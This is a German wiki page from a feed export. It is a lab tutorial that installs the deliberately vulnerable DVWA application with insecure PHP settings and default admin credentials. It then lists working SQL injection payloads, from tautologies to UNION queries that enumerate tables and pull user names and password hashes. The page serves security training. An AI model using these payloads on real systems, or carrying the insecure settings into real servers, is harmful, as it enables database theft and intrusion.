https://wiki.ixheim.de/index.php?action=history&feed=atom&title=SQL_Injection_-_Damn_Vulnerable_Web_App 2026-06-29T04:10:43Z Versionsgeschichte dieser Seite in Xinux Wiki MediaWiki 1.35.1 https://wiki.ixheim.de/index.php?title=SQL_Injection_-_Damn_Vulnerable_Web_App&diff=21520&oldid=prev 2020-10-07T17:20:41Z

<p>Die Seite wurde neu angelegt: „==Voraussetzungen== *Apache, Mysql, installiert apt-get install apache2 mysql-server *php &lt; 7.0 muss installiert sein Ubuntu 16.04: sudo add-apt-repository…“</p> <p><b>Neue Seite</b></p><div>==Voraussetzungen==<br /> *Apache, Mysql, installiert<br /> apt-get install apache2 mysql-server <br /> *php &lt; 7.0 muss installiert sein<br /> Ubuntu 16.04:<br /> sudo add-apt-repository ppa:ondrej/php<br /> apt-get update<br /> apt-get install php5.6 php5.6-mysql php5.6-gd<br /> php -v<br /> ==Installation DVWA==<br /> *Nach dem Download Entpacken und Verschieben ins DocumentRoot <br /> unzip DVWA-master.zip<br /> mv DVWA-master /var/www/html/dvwa<br /> *cd /var/www/html/dvwa/<br /> *cp config/config.inc.php.dist config/config.inc.php<br /> *vi config<br /> *Anpassen der Konfiguration dvwa:<br /> vi config/config.inc.php:<br /> $_DVWA[ 'db_password' ] = 'das_vergebene_passwort';<br /> <br /> Falls das Insecure Captcha Modul benutzt werden soll:<br /> $_DVWA[ 'recaptcha_public_key = ''<br /> $_DVWA[ 'recaptcha_private_key = ''<br /> <br /> Die Werte für die beiden Optionen müssen zuerst generiert werden (ein google Account ist Voraussetzung): https://www.google.com/recaptcha/admin/create<br /> *Anpassen der php Konfiguration:<br /> vi /etc/php/5.6/apache2/php.ini<br /> allow_url_include = on<br /> allow_url_fopen = on<br /> safe_mode = off<br /> magic_quotes_gpc = off (fuer php &lt;= 5.4)<br /> <br /> service apache2 restart<br /> *Anpassen der Verzeichnisrechte:<br /> chown www-data hackable/uploads/<br /> chown www-data external/phpids/0.6/lib/IDS/tmp/phpids_log.txt<br /> *Anpassen der .htaccess Datei<br /> vi .htaccess<br /> <br /> &lt;IfModule mod_php5.c&gt;<br /> php_flag magic_quotes_gpc Off<br /> #php_flag allow_url_fopen on<br /> #php_flag allow_url_include on<br /> &lt;/IfModule&gt;<br /> ersetzen durch:<br /> &lt;IfModule mod_php5.c&gt;<br /> magic_quotes_gpc = Off<br /> allow_url_fopen = On<br /> allow_url_include = On<br /> &lt;/IfModule&gt;<br /> <br /> *Aufruf von http://127.0.0.1/dvwa/setup.php - Create / Reset Database<br /> *Einloggen mit Default Zugangsdaten<br /> Username: admin<br /> Passwort: password<br /> <br /> Direkt nach der Installation ist die Anwendung 'sicher' eingestellt. Das Sicherheitslevel kann unter DVWA Security angepasst werden.<br /> <br /> <br /> ==SQL Injection mit DVWA==<br /> *Sicherheitslevel low<br /> *SQL Injection aufrufen<br /> <br /> *Normale Eingabe in Textbox:<br /> 1<br /> Ausgabe von ID, Vorname und Nachname<br /> <br /> SQL Abfrage auf der Datenbank:<br /> SELECT first_name, last_name FROM users WHERE user_id = '1'<br /> <br /> Ziel ist es durch die Benutzereingabe Code einzufügen, der vom Datenbanksystem ausgeführt wird.<br /> <br /> ===Beispielhafte Eingaben zur Manipulation===<br /> <br /> *Ausgabe aller User:<br /> %' or '0'='0<br /> *Ausgabe der Datenbackversion (ganz unten)<br /> %' or 0=0 union select null, version() #<br /> *Ausgabe des Db Benutzers der die Abfragen durchführt<br /> %' or 0=0 union select null, user() #<br /> *Ausgabe der aktuellen Datenbank<br /> %' or 0=0 union select null, database() #<br /> *Ausgabe aller Tabellen die mit user beginnen<br /> %' or 0=0 union select null, table_name from information_schema.tables where table_name like 'user%' #<br /> *Ausgabe aller Felder in der Tabelle users<br /> %' or 0=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' # <br /> 0x0a: Zeilenumbruch<br /> *Ausgabe der Benutzer und Passwoerter<br /> %' or 0=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #</div>

Thomas.will